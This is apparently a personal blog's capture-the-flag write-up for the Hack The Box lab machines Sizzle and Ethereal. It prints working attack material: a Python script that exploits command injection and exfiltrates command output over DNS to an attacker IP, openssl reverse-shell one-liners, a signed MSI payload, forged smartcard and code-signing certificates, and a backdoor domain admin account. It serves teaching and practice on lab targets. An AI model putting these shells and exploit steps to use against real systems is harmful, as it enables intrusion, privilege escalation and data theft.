Note that the WinRM ports 5985 and 5986 remained forwarded ‘normally’ without proxychains socat all the time! So I am using one Windows box for WinRM, and I add another Windows box to the setup as the future ‘victim’ domain member.

I did not forward DNS as that would screw up the discovery of Kerberos and LDAP services: The Windows victim client will believe that my Kali box is the domain controller sizzle.htb.local, and it accessed it under my local 192.168.x.y address. When I would forward DNS queries to the true sizzle DC, it would respond with service records pointing to 10.10.10.103 … which the victim Windows box would not be able to locate. I tried some crazy things with ARP poisoning, but the solution is simpler: I set up dnsmasq as a fake DNS server on my Kali box and added all the required SRV records:

dnsmasq uses the dnsmasqhosts file instead of /etc/hosts plus settings in the dnsmasq.conf file that make the box the authoritative DNS server for htb.local

/etc/dnsmasqhosts

192.168.x.y sizzle.htb.local

/etc/dnsmasq.conf

addn-hosts=/etc/dnsmasqhosts
no-hosts

auth-zone=/htb.local
auth-server=/htb.local/192.168.x.y

srv-host=_ldap._tcp.HTB.LOCAL,sizzle.htb.local,389
srv-host=_ldap._tcp.Default-First-Site-Name._sites.HTB.LOCAL,sizzle.htb.local,389
srv-host=_ldap._tcp.dc._msdcs.htb.local,sizzle.htb.local,389
srv-host=_ldap._tcp.Default-First-Site-Name._sites.dc._msdcs.HTB.LOCAL,sizzle.htb.local,389
srv-host=_ldap._tcp.pdc._msdcs.HTB.LOCAL,sizzle.htb.local,389
srv-host=_ldap._tcp.gc._msdcs.HTB.LOCAL,sizzle.htb.local,3268
srv-host=_ldap._tcp.Default-First-Site-Name._sites.gc._msdcs.HTB.LOCAL,sizzle.htb.local,3268
srv-host=_gc._tcp.HTB.LOCAL,sizzle.htb.local,3268
srv-host=_gc._tcp.Default-First-Site-Name._sites.HTB.LOCAL,sizzle.htb.local,3268
srv-host=_kerberos._tcp.HTB.LOCAL,sizzle.htb.local,88
srv-host=_kerberos._udp.HTB.LOCAL,sizzle.htb.local,88
srv-host=_kerberos._tcp.Default-First-Site-Name._sites.HTB.LOCAL,sizzle.htb.local,88
srv-host=_kerberos._tcp.dc._msdcs.HTB.LOCAL,sizzle.htb.local,88
srv-host=_kpasswd._tcp.HTB.LOCAL,sizzle.htb.local,464
srv-host=_kpasswd._udp.HTB.LOCAL,sizzle.htb.local,464

Resources: List of the SRV records, how the locator process works. I am assuming that the standard name for the site was used – Default-First-Site-Name – which is confirmed by testing the record with nslookup as amanda, directly on sizzle. I omit the record containing the domain GUID though that can be found somewhere in AD (AD Sites and Services or adsiedit.msc).

I discovered some of the ports and records I had missed step by step, by sniffing the traffic on unsuccessful domain joins and net use attempts. For example, having received the info about the proper logon server, the client send an LDAP query over UDP 389 – easy to miss as an important port to be forwarded.

Joining a Windows client to the htb.local domain [>> Contents]

The victim client is a physical Windows 7 box. Redirecting the crypto token over RDP did work as well as connecting USB on a Windows VM – but I did not want to risk anything and rather use a physical USB connection.

On this Windows box I configure the internal IP address of Kali box as the only DNS server. dnsmasq returns all queries for the htb.local domain, and it also forwards other DNS queries to the internet.

I test with some of the SRV records (IP obfuscated):

nslookup
Default Server:  sizzle.htb.local
Address:  192.168.x.y

> sizzle.htb.local
Server:  sizzle.htb.local
Address:  192.168.x.y

Name:    sizzle.htb.local
Address:  192.168.x.y

> set query=SRV
> _kerberos._tcp.dc._msdcs.HTB.LOCAL
Server:  sizzle.htb.local
Address:  192.168.x.y

_kerberos._tcp.dc._msdcs.HTB.LOCAL      SRV service location:
          priority       = 0
          weight         = 0
          port           = 88
          svr hostname   = sizzle.htb.local
sizzle.htb.local        internet address = 192.168.x.y
> 

For completenes: I also add an LMHOSTS file for the domain HTB, and could thus see WINS-like names with nbtstat – but this is definitely not suffcient to locate the domain.

I join the machine to the domain using the GUI / Properties of My Computer, change computer name or domain. Enter the new domain:

Enter amanda’s credentials – she can add her box to the domain:

Welcome!

In parallel, I can check in the other Windows PC – in the PSSession – that my test machine has indeed been added to the domain!

[sizzle.htb.local]: PS C:\Users\amanda\Documents> get-adcomputer -filter *

DistinguishedName : CN=SIZZLE,OU=Domain Controllers,DC=HTB,DC=LOCAL
DNSHostName       : sizzle.HTB.LOCAL
Enabled           : True
Name              : SIZZLE
ObjectClass       : computer
ObjectGUID        : a4f7617b-9228-40b2-9e14-5b3aedb489bd
SamAccountName    : SIZZLE$
SID               : S-1-5-21-2379389067-1826974543-3574127760-1001
UserPrincipalName :

DistinguishedName : CN=TESTPC,CN=Computers,DC=HTB,DC=LOCAL
DNSHostName       :
Enabled           : True
Name              : TESTPC
ObjectClass       : computer
ObjectGUID        : 277cd1c8-0fd1-4816-a63e-bb0653c0ee59
SamAccountName    : TESTPC$
SID               : S-1-5-21-2379389067-1826974543-3574127760-3102
UserPrincipalName :

[sizzle.htb.local]: PS C:\Users\amanda\Documents>

Having recovered from the shock that this actually worked, I reboot the Windows 7 box and logon as amanda to the domain (and the PC) with her user name and password!

On the Kali box proxychains shows extensive communication over ports 88, 139, 445, 389,…, like this:

...
|S-chain|-<>-127.0.0.1:8088-<><>-10.10.10.103:445-<><>-OK
|S-chain|-<>-127.0.0.1:8088-<><>-10.10.10.103:88-<><>-OK
...

Summary of the solution so far [>> Contents]

As amanda, I confirm that could again run the MMCs that I already used before on the Windows attack DC – yes, I can again edit certificate templates and I can also see one more computer in AD Users and Computers :-)

  • Start hackthebox VPN on Kali.
  • Get a default User certificate for amanda once. It is persistent and will last until its or the CA’s expiry, not affected by box reset.
  • Forward WinRM ports to Windows box 1, start WinRM session.
  • Start a  simple shell, from there a meterpreter shell.
  • Start a socks proxy, and ioute traffic through the meterpreter session.
  • Forward all ports again from Kali to your test network using proxychains socat.
  • Setup dnsmasq on Kali tas fake htb.local server, host all SRV records.
  • On Windows box 2, configure your Kali’s internal IP as the only DNS server.
  • Join Windows box 2 to the domain htb.local as HTB\amanda
  • Logon to Windows box 2 as amanda
  • Edit the certificate template SSL to include required EKUs.
  • Prepare a CSR with the admin’s names.
  • Submit the file at /certsrv as amanda.
  • Import the certificate, export key and cert to a PFX, import it to a smartcard.

Finally: Using the Administrator’s token! [>> Contents]

Plug in the token and try net use! The smart card prompts for the PIN, and finally connects to c$ successfully!

C:\hackthebox>net use \\sizzle.htb.local\c$ /smartcard
Reading smart cards........
The following errors occurred reading the smart cards on the system:
No card on reader 2
No card on reader 3
No card on reader 4
No card on reader 5
Using the card in reader 1.  Enter the PIN:
The command completed successfully.

C:\hackthebox>dir \\sizzle.htb.local\c$
 Volume in drive \\sizzle.htb.local\c$ has no label.
 Volume Serial Number is 9C78-BB37

 Directory of \\sizzle.htb.local\c$

03.07.2018  17:22    <DIR>          Department Shares
02.07.2018  22:29    <DIR>          inetpub
02.12.2018  04:56    <DIR>          PerfLogs
26.09.2018  06:49    <DIR>          Program Files
26.09.2018  06:49    <DIR>          Program Files (x86)
11.07.2018  23:59    <DIR>          Users
06.05.2019  15:20    <DIR>          Windows
               0 File(s)              0 bytes
               7 Dir(s)  10.516.963.328 bytes free

C:\hackthebox>type \\sizzle.htb.local\C$\users\administrator\desktop\root.txt
91c58***************************
C:\hackthebox>

As amanda start a session as Administrator:

runas /smartcard cmd

Again the token asks for the PIN, and I finally have a shell!

\o/

Creating a (not really stealthy) backdoor admin [>> Contents]

I can now create another domain admin – I don’t even have to bother with powershell or net use as I could start any GUI tool from directly from that shell, e.g.

C:\Windows\system32\dsa.msc

Create a Test OU container and a Test User within in:

Add the user to some interesting groups:

Switch the user and logon as HTB\testuser. Now I have my own domain admin desktop!

 

Ethereal @ hackthebox: Certificate-Related Rabbit Holes

This post is related to the ‘insanely’ difficult hackthebox machine Ethereal (created by egre55 and MinatoTW) that was recently retired. Beware – It is not at all a full comprehensive write-up! I zoom in on openssl, X.509 certificates, signing stuff, and related unnecessary rabbit holes that were particularly interesting to me – as somebody who recently described herself as a Dinosaur that supports some legacy (Windows) Public Key Infrastructures, like the Cobol Programmers tackling Y2K bugs.

Ethereal was insane, because it was so locked down. You got limited remote command execution by exfiltrating the output of commands over DNS, via a ‘ping’ web tool with a command injection vulnerability. In order to use that tool you had to find credentials in a password box database that was hidden in an image of a DOS floppy disk buried in other files on an FTP server. See excellent full write-ups by 0xdf and by Bernie Lim, or watch ippsec’s video.

Regarding the DNS data exfiltration I owe to this m0noc’s great video tutorial. You parse the output of the command in a for loop, and exfil data in chunks that make up a ‘host name’ sent to your evil DNS server. I am embedding my RCE script below.

openssl – telnet-style

To obtain a reverse shell and to transfer files, you had to use openssl ‘creatively’ –  as a telnet replacement, running a ‘double shell’ with different windows for stdin and stdout.

In order to trigger this shell as ‘the’ user- the one with the flag, named jorge, you needed to overwrite an existing Windows shortcut file pointing to the Visual Studio 2017 executable (.LNK). I created ‘malicious’ shortcuts using the python library pylnk, on a Windows system. The folder containing that file was also the only place at all you could write to the file system as the initial ‘web injection user’, alan. I noticed that the overwritten LNK was replaced quickly, at least every minute – so I also hoped that a simulated user will ‘click’ the file every minute.

Creating certificate and key …

openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes

Listening on the only ports open for outgoing traffic with two ‘SSL servers’:

openssl s_server -key key.pem -cert cert.pem -port 73
openssl s_server -key key.pem -cert cert.pem -port 136

The Reverse shell command to be used in the LNK file uses the ‘SSL client’:

C:\windows\System32\cmd.exe /c "C:\progra~2\openssl-v1.1.0\bin\openssl.exe s_client -quiet -connect 10.10.14.19:136 | cmd 2>&1 | C:\progra~2\openssl-v1.1.0\bin\openssl.exe s_client -connect 10.10.14.19:73 2>&1 &"

The first rabbit hole I fell into was that I used openssl more ‘creatively’ than what was maybe needed. Though I found this metasploit module with a double telnet-style shell for Linux I decided to work on replacing the LNK first, and only go for a reverse shell if a simple payload in the LNK would work.

Downside of that approach: I needed another way of transferring the LNK file! If I had the reverse shell, already I’d been be able to use ‘half of it’ for transferring a file in the spirit of nc.

1) Run a ‘SSL server’ locally to be prepared for sending the file:

openssl s_server -quiet -key key.pem -cert cert.pem -port 73 <to_be_copied

2) Receive it using the SSL client:

openssl.exe s_client -quiet -connect 10.10.14.19:73 >to_be_copied

The usual ways to transfer files were blocked, for example certutil. certutil and certreq are the tools that are sort of an equivalent of openssl on Windows. certutil’s legit purpose is to manage the Windows PKI, manage certificate stores, analzye certificates, publish to certificate stores, download certificate revocation lists, etc. … The latter option makes it a ‘hacker tool’ because it lets you download other files like wget or curl (depending on the version of Windows and Defender’s vigilance doing heuristic checks of the action performed, rather than on the EXE itself).

Nearly missing out on openssl

When I saw openssl – installed on Windows! – I hoped I was on to something! However, I nearly let go of openssl as I failed to test it properly. I  ran openssl help in my nslookup shell, and did not get any response. Nearly any interesting EXE was blocked on Ethereal, so it came not as a surprise that openssl seemed to be, too.

Only after I was stuck for quite a while and a kind soul gave me a nudge to not abandon openssl too fast, I realized that the openssl help output is actually sent to standard error, not standard out.

You can redirect stderr to stdout using 2>&1 – but if you run the command ’embedded’ in the for loop (see python script below), you better escape both special characters like this:

'C:\progra~2\openssl-v1.1.0\bin\openssl.exe help 2^>^&1'

File transfer with openssl base64 and echo

My solution was to base64 encode the file locally with openssl (rather than using base64, just ‘to play it safe’), to echo out the file in  the DNS shell as alan on Ethereal, then base64 decode it and store it in the final location. I had issues with echoing out the full content in one line, so I did not use the –A option in openssl base64, but echoed one line after the other.

I missed that I can write to the folder – I believed I could only write to this single LNK file. So I had to echo to the exact same file that I would also use as the final target, like so:

type target.lnk | openssl base64 -d -out target.lnk

Below is my final RCE script for a simple ‘shell’ – either executing input commands 1:1 or special (series of) commands using shortcuts. E.g. for ‘echo-uploading’ a file, decoding, and checking the result I used

F shell.lnk
decode
showdir

In case I wanted to run a command without having to worry about escaping I can also run it blind, without any output via nslookup.

Script rce.py

import requests
import readline
import os
import sys

url = 'http://ethereal.htb:8080/'
headers = { 'Authorization' : 'Basic YWxhbjohQzQxNG0xN3k1N3IxazNzNGc0MW4h' }

server_dns = '10.10.14.19'
A_dns = 'D%a.D%b.D%c.D%d.D%e.D%f.D%g.D%h.D%i.D%j.D%k.D%l.D%m.D%n.D%o.D%p.D%k.D%r.D%s.D%t.D%u.D%v.D%w.D%x.D%y.D%z.'
template = '127.0.0.1 & ( FOR /F "tokens=1-26" %a in (\'_CMD_\') DO ( nslookup ' + A_dns + ' ' + server_dns + ') )'
template_blind = '127.0.0.1 & _CMD_'
template_lnk = '( FOR /F "tokens=1-26" %a in (\'_CMD_\') DO ( nslookup ' + A_dns + ' ' + server_dns + ') )'
# CSRF protections not automated as they did not change that often
# Copy from Burp, curl etc.
postdata = { 
    '__VIEWSTATE' : '/wEPDwULLTE0OTYxODU3NjhkZG8se05Gp91AdhB+bS+3cb/nwM7/1XnvqTtUaEoqfbcF',
    '__VIEWSTATEGENERATOR' : 'CA0B0334',
    '__EVENTVALIDATION' : '/wEdAAMwTZWDrxbqRTSpQRwxTZI24CgZUgk3s462EToPmqUw3OKvLNdlnDJuHW3p+9jPAN/MZTRxLbqQfS//vLHaNSfR4/D4qt+Wcl4tw/wpixmG9w==',
    'ctl02' : ''
}

target_lnk = 'C:\Users\Public\Desktop\Shortcuts\Visual Studio 2017.lnk'
target_lnk_dos = 'C:\Users\Public\Desktop\Shortcuts\Visual~1.lnk'
target_dir = 'C:\Users\Public\Desktop\Shortcuts\\'

openssl_path = 'C:\progra~2\openssl-v1.1.0\\bin\openssl.exe'

ask = True

def create_echo(infile_name, outfile_path):
    
    # File name must not include blanks
    b64_name = infile_name + '.b64'

    echos = []

    if not os.path.isfile(infile_name):
        print 'Cannot read file!'
        return echos
    else:
        os.system('openssl base64 -in ' + infile_name + ' -out ' + b64_name)
        f = open(b64_name, 'r')
    
    i = 0
    for line in f:
        towrite = line[:-1]
        if i == 0:
            echos += [ 'cmd /c "echo ' + towrite + ' >' + outfile_path + '"' ] 
        else:
            echos += [ 'cmd /c "echo ' + towrite + ' >>' + outfile_path + '"' ] 
        print line[:-1]
        i += 1

    f.close()
    return echos

def payload(cmd):
    return template.replace('_CMD_', cmd)

def payload_blind(cmd):
    return template_blind.replace('_CMD_', cmd)

def send(payload):
    print payload
    print ''
    
    if ask == True:
       go = raw_input('Enter n for discarding the command >>: ')
    else:
       go = 'y'

    if go != 'n':
        postdata['search'] = payload
        response = requests.post(url, data=postdata, headers=(headers))
        print 'Status Code: ' + str(response.status_code)
    else:
        print 'Not sent: ' + cmd

while True:

    cmd = raw_input('\033[41m[dnsexfil_cmd]>>: \033[0m ')

    if cmd == 'quit': 
        break

    elif cmd == 'dontask':
        ask = False
        print 'ask set to: ' + str(ask)
    elif cmd == 'ask':
        ask = True
        print 'ask set to: ' + str(ask)

    elif cmd[0:2] == 'F ':
        infile = cmd[2:]
        echos = create_echo(infile, target_lnk_dos)
        link = ' & '
        cmd_all_echos = link.join(echos)
        send(payload_blind(cmd_all_echos))

    elif cmd[0:2] == 'B ':
        cmd_blind = cmd[2:]
        send(payload_blind(cmd_blind))
       
    elif cmd == 'decode':
        cmd = 'type "' + target_lnk + '" | ' + openssl_path + ' base64 -d -out "' + target_lnk + '"'
        send(payload_blind(cmd))

    elif cmd == 'showdir':
        cmd = 'dir ' + target_dir
        send(payload(cmd))

    elif cmd == 'showfile':
        cmd = 'type "' + target_lnk + '"'
        send(payload(cmd))

    else:
        send(payload(cmd))

Finding that elusive CA certificate

After I finally managed to run a shell as jorge I fell into lots of other rabbit holes – e.g. analyzing, modifying, and compiling a recent Visual Studio exploit.

Then I ran tasklist for the umpteenth time, and saw an msiexec process! And lo and behold, even my user jorge was able to run msiexec! This fact was actually not important, as I found out later that I should wait for another (admin) user to run something.

I researched ways to use an MSI for applocker bypass. As described in detail in other write-ups you could use a simple skeleton XML file to create your MSI with the WIX toolset. WIX was the perfect tool to play with at Christmas when I did this box – it’s made up of executables called light.exe, candle.exe, lit.exe, heat.exe, shine.exe, torch.exe, pyro.exe, dark.exe, melt.exe … :-)

So I also created a simple MSI, ran it as jorge and nothing happened. Honestly, I cannot tell with hindsight if that should have possibly worked – just without any escalation to an admin or SYSTEM context – or I made an error again. But because of my focus on all things certificates and signatures, I suspected the MSI had to be signed – that would also be in line with the spirit of downlocking at this box.

Signed code does only run of the certificate is trusted. So I needed to sign the MSI either with a ‘universally’ / publicly trusted certificate (descending from a CA certified in the Microsoft Root Program) or there was possibly a key and certificate on the box I have not found yet. Both turned out to be another good chance for falling into rabbit roles!

Testing locally with certificates in the Windows store

I used one of my Windows test CAs and issued a Code Signing certificate, then used signtool to sign a test MSI. The reference to the correct store is in this case the CN of the Subject Name which should be unique in your store:

signtool sign /n Administrator /v pingtest.msi

The MSI could be ‘installed’ and my ping worked on a test Windows box. So I knew that the signing procedure worked, but I needed a certificate chain that Ethereal will trust. With hindsight, giving my false assumption that jorge will run the MSI, I should also have considered that jorge will install a Root CA certificate of my liking into his (user’s) Root certificate store. It should theoretically be doable fiddling with the registry only (see second hilarious rabbit hole below), but normally I would certutil for that. And certutil was definitely blocked.

Publicly trusted certificate

I do have one! Our Austrian health insurance smartcards have pre-deployed keys, and you can enroll for X.509 certificates for those keys. So on a typical Windows box, code signed with this ID card would run. But there is a catch: Windows does not – anymore, since Vista if I recall correctly – pre-populate the store with all the Root CAs certified by Microsoft. If you try to run a signed MSI (or visit an HTTPS website, or read a signed e-mail), then Windows will download the required root certificate as needed. But hackthebox machines are not able to access the internet.

Yet, in despair I tried, for the unlikely case all the roots were there. Using signtool like so, it will let me pick the smartcard certificate, and I was prompted for the PIN:

signtool sign /a /v pingtest.msi

So if my signed signed had screwed up the box, I could not have denied it – a use-case of the Non-Repudation Key Usage ;-)

Uploaded my smartcard-signed MSI. And failed to run it.

Ages-old Demo CA – and how to use openssl for signing

There was actually a CA on the box, sort of – the demoCA that comes with the openssl installation. A default CA key and certificate comes with openssl, and the perl script CA.pl can be used to created ‘database-like files and folders’. In despair I used this default CA certificate and key – maybe it was was trusted as kind of subtle joke? I did not bother to look closely at the CA certificate – otherwise I should have noticed it had expired long ago :-)

The process I tested for signing was the same I used later. As makecert is the tool that many others have used to solve this, I quickly sum up the openssl process.

You can either use the openssl ca ‘module’ – or openssl x509. The latter is a bit simpler as you do not need to prepare the CA’s ‘database’ directories.

Of course I used Windows GUI tools to create the request :-)

  • Start, Run, certmgr.msc
  • Personal, All Tasks, Advanced Operations, Create Custom Request
  • Custom PKCS#10 Request.
  • Extensions:
    Key Usage = Digital Signature
    Extended Key Usage = Code Signing
  • Private Key, Key Options: 2048 Bit
  • BASE64 encoding

The result is a BASE64 encoded ‘PEM’ certificate signing request. You can sign with the demoCA’s key like this – I did this on my Windows box.

openssl x509 -req -in req.csr -CA cacert.pem -CAkey private\cakey.pem -CAcreateserial -out codesign.crt -days 500 -extfile codesign.cnf -extensions codesign

There are different ways to make sure that the Code Signing Extended Key Usage gets carried over from the request to the certificate, or that it is ‘added again’. In the openssl.cnf config file (default or referenced via -config) you can e.g. configure to copy_extensions.

In the example above, I used a separate file for extensions. (Values seem to be case-sensitive, also on Windows).

[ codesign ]

keyUsage=digitalSignature
extendedKeyUsage=codeSigning

To complete the process, the Root CA certificate is imported in the the Trusted Root Certification Authorities store in certmgr.msc,  and the Code Signing certificate is imported into Personal certificates in certmgr.msc. In case the little key icon does not show up, key and certificate have not been properly united, which can be fixed with

certutil -repairstore -user my [Serial Number of the cert]

The file is signed without issues, however the resulting chain violates basic requirements for certificate path validation: The CA’s end of life was in 1998.

certutil cacert.pem

X509 Certificate:
Version: 1
Serial Number: 04
Signature Algorithm:
Algorithm ObjectId: 1.2.840.113549.1.1.4 md5RSA
Algorithm Parameters:
05 00
Issuer:
CN=SSLeay/rsa test CA
S=QLD
C=AU
Name Hash(sha1): 4f28bdc33fb78c854e2ceb26210f981bb73ce9ea
Name Hash(md5): ee7084bbed50615d1e118ff2ada590cf

NotBefore: 10.10.1995 00:32
NotAfter: 06.07.1998 00:32

Subject:
CN=SSLeay demo server
OU=CS
O=Mincom Pty. Ltd.
S=QLD
C=AU

Weird way to find a CA certificate

This was – for me – the most hilarious part of owning this box. The mysterious Root CA had to be in the Windows registry, and I had no certutil. So I resorted to looking at the registry directly.

‘Windows Certificate stores’ are collections of different registry key, this was the one relevant here.

C:\>reg query HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\18F7C1FCC3090203FD5BAA2F861A754976C8DD25
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\245C97DF7514E7CF2DF8BE72AE957B9E04741E85
....

But I wanted to look into the binary certificates with those keys so I dumped each of the keys (like 18F7C1FCC3090203FD5BAA2F861A754976C8DD25) and copied the contents from the terminal to a python script. This snippet shows only a single cert in the list:

certs = [
...
'190000000100000010000000E53D34CECB05C17EE332C749D78C02560F000000010000001000000065FC47520F66383962EC0B7B88A0821D03000000010000001400000018F7C1FCC3090203FD5BAA2F861A754976C8DD2509000000010000000C000000300A06082B060105050703080B000000010000003400000056006500720069005300690067006E002000540069006D00650020005300740061006D00700069006E00670020004300410000001400000001000000140000003EDF290CC1F5CC732CEB3D24E17E52DABD27E2F02000000001000000C0020000308202BC3082022502104A19D2388C82591CA55D735F155DDCA3300D06092A864886F70D010104050030819E311F301D060355040A1316566572695369676E205472757374204E6574776F726B31173015060355040B130E566572695369676E2C20496E632E312C302A060355040B1323566572695369676E2054696D65205374616D70696E67205365727669636520526F6F7431343032060355040B132B4E4F204C494142494C4954592041434345505445442C20286329393720566572695369676E2C20496E632E301E170D3937303531323030303030305A170D3034303130373233353935395A30819E311F301D060355040A1316566572695369676E205472757374204E6574776F726B31173015060355040B130E566572695369676E2C20496E632E312C302A060355040B1323566572695369676E2054696D65205374616D70696E67205365727669636520526F6F7431343032060355040B132B4E4F204C494142494C4954592041434345505445442C20286329393720566572695369676E2C20496E632E30819F300D06092A864886F70D010101050003818D0030818902818100D32E20F0687C2C2D2E811CB106B2A70BB7110D57DA53D875E3C9332AB2D4F6095B34F3E990FE090CD0DB1B5AB9CDE7F688B19DC08725EB7D5810736A78CB7115FDC658F629AB585E9604FD2D621158811CCA7194D522582FD5CC14058436BA94AAB44D4AE9EE3B22AD56997E219C6C86C04A47976AB4A636D5FC092DD3B4399B0203010001300D06092A864886F70D01010405000381810061550E3E7BC792127E11108E22CCD4B3132B5BE844E40B789EA47EF3A707721EE259EFCC84E389944CDB4E61EFB3A4FB463D50340B9F7056F68E2A7F17CEE563BF796907732EB095288AF5EDAAA9D25DCD0ACA10098FCEB3AF2896C479298492DCFFBA674248A69010E4BF61F89C53E593D1733FF8FD9D4F84AC55D1FD116363',
....
]
for cert in certs:
    print '======================================='
    print cert
    print '======================================='
    print cert.decode('hex')
    print '======================================='

OK, certainly not the most elegant way to deal with it, but I was loosing patience – I was on a war path!!

Strings in the output contain the CA’s Issuer and Subject Name, and most were familiar Microsoft, Versign, etc. With this exception:

=======================================
¬·╟<          òë┌┐ò$º¿Y╔&┌╢e½s╦π≥│τÇ╤#w▌╙o╠D       ╖è╔└eîqD╕ß!└öPδ⌠ ¡      ü¿M»╬Φv√tÄ.LgawĽ0ß       τ9╡ïε╢æï
  é0é010 U  My CA0é"0≥▀~àE~Γ<éíFj0
é ¥═p|ÉÉ▒ôfD╬,°á3╣Zƒ╕Cáφs╖Kεmìδ╗wFo2ßÄK ┘Xì╧Y?ÉR╢&,V┘Ω╠û5¬Σ▒┴Γ╧B·Gb4éτåi0Ku rí╕Oh≈φ¬u≤h¥J ┌┌º(┐Jk<√=-9{£H[▀ªP&«¢ΣU■2~ ½Öº-4║o/σ£oºå─∙Åédü¿éÅêr▐O.╘<'Qu∙w0~▒A±·â·{k
  é hòÿâ⌠╝*εC╡Åπs⌠╝[░╣±kπ{≥¬æ±¬╠b┐╤GëJ»i%┴       ╕ìiΦπ %¬*π[ò╗,9ü:╦-5  úV0T0 U  0  0A U :08ǽÖ┬ï]═8¬I¡X^⌠í010 U  My CAé÷h≥▀~àE~Γ<éíFj0

▀ó*┌û╞Qfè£ⁿ─;Lτ·II╫─╓┴¼╤N∩j Φ
)x═Mπ╪₧⌠ç╛ê┤YF:╛╢╙êDτσªM]Gá⌐ S≡∞Yg J»╪u

...

Maybe hard to spot, but there was a CA called My CA! But where was the key I needed to sign my own Code Signing cert?

In such cases, I typically resort to more Windows registry forensics. I hoped that ‘jorge’ or the box’ creators had touched a folder with these certificate and key. I walked through various Explorer-related keys, especially the infamous Shellbags:

HKEY_CURRENT_USER\Software\Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\2
    NodeSlot    REG_DWORD    0x3
    MRUListEx    REG_BINARY    0100000000000000FFFFFFFF
    0    REG_BINARY    4A00310000000000DB4CD6B3100044455600380009000400EFBEDB4C8FB3DB4CD6B32E0000002400000000000100000000000000000000000000000099306500440045005600000012000000
    1    REG_BINARY    5000310000000000E74C4AAE10004365727473003C0009000400EFBEE74C41AEE74C4AAE2E000000492E0000000003000000000000000000000000000000EAE7BD0043006500720074007300000014000000

HKEY_CURRENT_USER\Software\Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\2\0
HKEY_CURRENT_USER\Software\Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\2\1

… and I really saw a folder called Certs after decoding:

>>> print s.decode('hex')
n 1     µLGu VISUAL~1  V          ∩╛µLGuµLGu.   z¿                    åUÉ V i s u a l   S t u d i o   2 0 1 7   
>>> s='4A00310000000000DB4CD6B3100044455600380009000400EFBEDB4C8FB3DB4CD6B32E0000002400000000000100000000000000000000000000000099306500440045005600000012000000'
>>> print s.decode('hex')
J 1     █L╓│ DEV 8        ∩╛█LÅ│█L╓│.   $                    Ö0e D E V   
>>> s='5000310000000000E74C4AAE10004365727473003C0009000400EFBEE74C41AEE74C4AAE2E000000492E0000000003000000000000000000000000000000EAE7BD0043006500720074007300000014000000'
>>> print s.decode('hex')
P 1     τLJ« Certs <      ∩╛τLA«τLJ«.   I.                    Ωτ╜ C e r t s    >>>

… and a link to a folder called MSIs:

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\RecentDocs\Folder
    0    REG_BINARY    5000750062006C0069006300000060003200000000000000000000005075626C69632E6C6E6B0000460009000400EFBE00000000000000002E00000000000000000000000000000000000000000000000000000000005000750062006C00690063002E006C006E006B0000001A000000
    MRUListEx    REG_BINARY    020000000100000000000000FFFFFFFF
    1    REG_BINARY    4D0053004900730000005A003200000000000000000000004D5349732E6C6E6B0000420009000400EFBE00000000000000002E00000000000000000000000000000000000000000000000000000000004D005300490073002E006C006E006B00000018000000
...
>>> s='4D0053004900730000005A003200000000000000000000004D5349732E6C6E6B0000420009000400EFBE00000000000000002E00000000000000000000000000000000000000000000000000000000004D005300490073002E006C006E006B00000018000000'
>>> print s.decode('hex')
M S I s   Z 2           MSIs.lnk  B        ∩╛        .                             M S I s . l n k   
>>> 

Then I did what I should have done before – checking out the Recent Docs folder directly …

Directory of C:\Users\jorge\AppData\Roaming\Microsoft\Windows\Recent

07/07/2018  09:47 PM               405 EFS.lnk
07/07/2018  09:53 PM               555 MSIs.lnk
07/07/2018  09:53 PM               678 note.lnk
07/07/2018  09:49 PM               690 Public.lnk
07/09/2018  09:13 PM               612 system32.lnk
07/04/2018  09:17 PM               527 user.lnk

…. the file MSIs.link contained the path:

...
D:\DEV\MSIs
...

So there was a D: drive I had totally missed – and there you found a key MyCA.pvk and a certificate MyCA.cer.

The ‘funny’ thing now is that the LNK file hijacked before pointed to Visual Studio installed on the D: drive. So the intended way was likely to go straight to this folder, see certificates and and MSIs folder, and conclude you need to sign an MSI.

Signing that darn thing finally :-)

I wanted to re-use the openssl process I tested before. But openssl cannot use PVK files (AFAIK ;-) but you can convert PVK keys to PFX (PKCS#12)

I ran

pvk2pfx /pvk MyCA.pvk /spc MyCA.cer

… to start a GUI certificate export wizard that let me specify the PFX password.

Then I converted the PFX key to PEM

openssl pkcs12 -in MyCA.pfx -out MyCA.pem -nodes

… and the binary (‘DER’) certificate to PEM

openssl x509 -inform der -in MyCA.cer -out MyCA.cer.pem

I signed a Code Signing certificate for a user with CN Test 1 (same process as with the demoCA), and used this to sign the final payload! Imported MyCA.cer to the Trusted Roots and referenced again the CN of the user in signtool:

signtool sign /n "Test 1" /v half_shell_MyCA.msi
The following certificate was selected:
    Issued to: Test 1
    Issued by: My CA
    Expires:   Sat May 09 14:54:50 2020
    SHA1 hash: 0CDBA139B0E93813969E9E82F1E739C962BA6A3B

Done Adding Additional Store
Successfully signed: half_shell_MyCA.msi

Number of files successfully Signed: 1
Number of warnings: 0
Number of errors: 0

I verified the MSI also with

signtool verify /pa /v half_shell_MyCA.msi

My final signed MSI payload was what I called a half shell, a command like this:

C:\windows\System32\cmd.exe /c "C:\progra~2\openssl-v1.1.0\bin\openssl.exe s_client -quiet -connect 10.10.14.19:136 | cmd &"

You can execute commands, but you do not get the output back. I tried to use my resources most efficiently.

A text note told us that the admin ‘rupal’ will test MSIs frequently. So I need one openssl listener – thus one of the two precious open ports – for waiting for rupal.

I used the other open port for uploading the MSI, ‘nc-style’ again with openssl.

But if I really wanted output from the blind half shell, I could also embed it in nslookup. So I used the rce.py to create this type of command (for that it has on option to just display but not run a command), that I would then paste into the input window of jorge’s half shell.

FOR /F "tokens=1-26" %a in ('copy half_shell_MyCA.msi D:\DEV\MSIs') DO ( nslookup D%a.D%b.D%c.D%d.D%e.D%f.D%g.D%h.D%i.D%j.D%k.D%l.D%m.D%n.D%o.D%p.D%k.D%r.D%s.D%t.D%u.D%v.D%w.D%x.D%y.D%z. 10.10.14.19)

And rupal called back!

\o/

But he also only half a shell, so I read root.txt via nslookup, pasting this command into his half shell:

